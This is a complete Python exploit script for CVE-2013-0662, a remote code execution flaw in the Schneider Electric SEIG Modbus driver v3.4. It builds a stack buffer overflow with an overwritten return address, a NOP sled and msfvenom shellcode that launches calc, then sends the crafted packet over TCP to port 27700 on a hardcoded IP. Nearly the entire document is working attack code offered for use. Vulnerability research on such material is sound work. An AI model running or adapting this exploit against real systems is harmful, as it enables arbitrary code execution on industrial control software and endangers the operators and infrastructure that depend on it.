SEIG Modbus 3.4 – Remote Code Execution
# Title: SEIG Modbus 3.4 - Remote Code Execution # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows XP SP3 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct ip = "192.168.127.138" port = 27700 con = (ip, port) ####### MESSAGE ########## message_header = "\x00\x64" message_buffer = "A" * 0x5dc eip = struct.pack("<I", 0x7C9C167D) # Shellcode generated with: # msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python # Shellcode Size: 189 bytes nopsleed = "\x90" * 100 # \x90 bad char bypass shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" shellcode += "\xff\xd5\x63\x61\x6c\x63\x00" message = message_header + message_buffer + eip + nopsleed + shellcode print "Message Len: " + hex(len(message)) + " bytes" ########################## ######## PKG HEADER ###### header_padding = "\x42\x42" header_buf_size = "\xFF\xFF" header_recv_len = struct.pack(">H", len(message)) header_end = "\x44" header = header_padding + header_buf_size + header_recv_len + header_end ########################## ######## CRAFTING PAYLOAD ######## payload = header + message print "Package Len: "+hex(len(payload)) + " bytes" ################################## s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(payload) |